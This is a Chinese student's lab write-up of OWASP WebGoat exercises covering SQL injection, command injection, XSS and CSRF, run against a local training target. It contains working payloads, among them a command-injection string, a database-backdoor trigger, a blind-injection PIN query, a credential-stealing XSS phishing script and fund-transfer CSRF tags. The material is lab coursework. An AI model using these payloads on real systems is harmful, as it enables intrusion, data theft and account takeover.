2018-2019-2 网络对抗技术 20165335 Exp 9 Web安全基础
基础问题回答:
1.SQL注入攻击原理,如何防御
SQL注入就是通过修改,插入HTML表单的内容,从而实现对SQL语句的修改,通过修改过的DQL语句达到恶意访问信息的目的
sql注入攻击是利用是利用SQL传输字符串漏洞,构造恶意语句,运行语句,对用户输入的数据进行合理化验证。
构造方法:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
防御:
关闭或删除不必要的交互式提交表单页面
对漏洞注入点相关代码进行关键字的过滤
严格语句的检查
将数据库里的内容进行加密处理
2.XSS攻击的原理,如何防御?
原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:
不要轻易输入个人信息,如用户名密码
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义、
3.CSRF攻击原理,如何防御?
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
防御:
验证请求中的Token
验证 Referer
添加加随机验证
设定cookie域
实践过程记录:
WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
安装webgot:使用java -jar webgoat-container-7.0.1-war-exec.jar安装
安装完成后,使用localhost:8080/WebGoat可以在浏览器中打开
SQL攻击:
1.命令注入(Command Injection):
通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容,:利用各种调用系统命令的web应用,通过命令拼接、绕过黑名单等方式实现在服务端实现想要实现的系统命令。当用户进入一个有命令注入漏洞的网页时,他们的浏览器会通译那个代码,而这样就可能会导致恶意命令掌控该用户的电脑和他们的网络。
原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
右键点击页面,选择inspect Element,查看网页元素对源代码进行修改,选中复选框,右键,选择Edit At Html修改:
点击view ,查看:
看到网络端口使用情况和IP地址,攻击成功。
在本例中,复选框中提交的信息中,包含了查看网络信息的指令"& netstat -an & ipconfig",而复选框中传来的指令是一定会被执行的,也就输出了网络信息
2.数字型注入(Numeric SQL Injection)
注入数字型数据(ex:1=1)达到注入的效果。
原理:在station字段中注入特征字符,组合成新的SQL语句。
右键点击页面,选择inspect Element,看网页元素,对源代码进行修改,在选中的城市编号Value值中添加偶or=1
然后点进去看看:
显示所有城市的天气情况,攻击成功!
在本例中,添加偶然1=1后,SQL语句变为SELECT * FROM weather_data WHERE station = 101 or 1=1 语句变为永真式,所以一定会输出数据库里面匹配的数据
3.日志欺骗(Log Spoofing)
通过在日志文件中插入脚本实现欺骗
原理:在日志文件中隐藏自己,清除他们在日志中的痕迹
灰色区域代表在 Web 服务器的日志中的记录的内容
攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到
在本例中,我们在日志中添加了我们自己的一个信息,追加到日志文件中。同样,也可以添加脚本到日志中,脚本的返回信息能够通过浏览器看到
4.SQL 注入(LAB: SQL Injection):
注入字符串型数据
原理:通过注入字符串绕过认证
现在html中,修改psw的最大长度为18
以用户Neville(admit)登录,输入密码hello' or '1' = '1
在本例中,网站在提交的时候,密码框为一个永真式,登陆的数据验证是必定通过的
5.数字型SQL注入
原理:通过注入数字型数据,绕过认证
使用用户名 Larry,密码 larry 点击登录,点击ViewProfile查看用户信息
右键点击页面,看网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据
用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据。
再次查询:
发现是老板信息
原理:查询时,数据库索引的依据是员工ID,返回的是每次查询到的第一条数据。所以,在value改成101 or 1=1 order by salary desc,使得输出信息按照从大到小排序,使得老板的信息作为查询到的第一条数据。
6.字符串注入(String SQL Injection)
原理:基于查询语句构造自己的 SQL 注入字符串。
输入Smith' or 1=1--构造一个永真式。
得到所有用户的信用卡号码,攻击成功!
原理:通过输入 or 1=1 使得SQL语句变为SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--'
7.数据库后门(Database Backdoors)
原理:数据库通常作为一个 Web 应用程序的后端来使用。利用查询的脆弱性创建触发器
输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
输入注入语句101; update employee set salary=18000
输入注入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='sxx@hackme.com'WHERE userid = NEW.userid
BEFORE/AFTER 参数指定了触发执行的时间,在事件之前或是之后
FOR EACH ROW 表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
原理:数据路可以存储恶意活动,比方说创建一个触发器,在数据库管理系统上调用另 一个数据库操作,该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
8.数字型盲注入(Blind Numeric SQL Injection)
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
服务端页面返回的信息只有两种:帐号有效或无效。无法简单地查询到帐号的PIN数值。利用系统后台在用的查询语句:
SELECT * FROM user_data WHERE userid=accountNumber;去获得账号PIN码
使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
输入:101 AND 1=1
输入101 AND 1=2:
那么,可以针对后面的,构建查询语句:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
XSS攻击(Cross‐Site Scripting)
XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中
1.XSS 钓鱼(Phishing with XSS)
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
利用XSS可以在已存在的页面中进一步添加元素:
受害人填写一个表格;
服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
脚本代码:
</form> <script> function hack(){ xmzImage=new Image; xmzImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
2.存储型XSS攻击(Stored XSS Attacks)
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
在title中任意输入字符,留言板中输入<script>alert("5335");</script>
3.反射型XSS攻击(Reflected XSS Attacks)
原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
输入代码:<script>alert("5335");</script> 点击purse的同时页面就给出了反馈
CSRF攻击
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
1.跨站请求伪造(Cross Site Request Forgery (CSRF))
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
写一个URL放进Message框,使其他用户不可见,设置成一个隐藏图片,用户一旦点击就会触发一个CSRF事件
在输入框里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
点击该消息,页面就会下载这个消息
2、绕过 CSRF 确认CSRF Prompt By-Pass
在title中输入信息
message中输入:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
可以看到:
实验总结与体会:
通过本次实验,加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。感受到网络攻击的多样化,在网络上应该更好的注意个人隐私的保护
通过这学期9个实验,自己学到了很多新知识,对网络攻防的有了一个基础,对日后的学习,研究都有很大的意义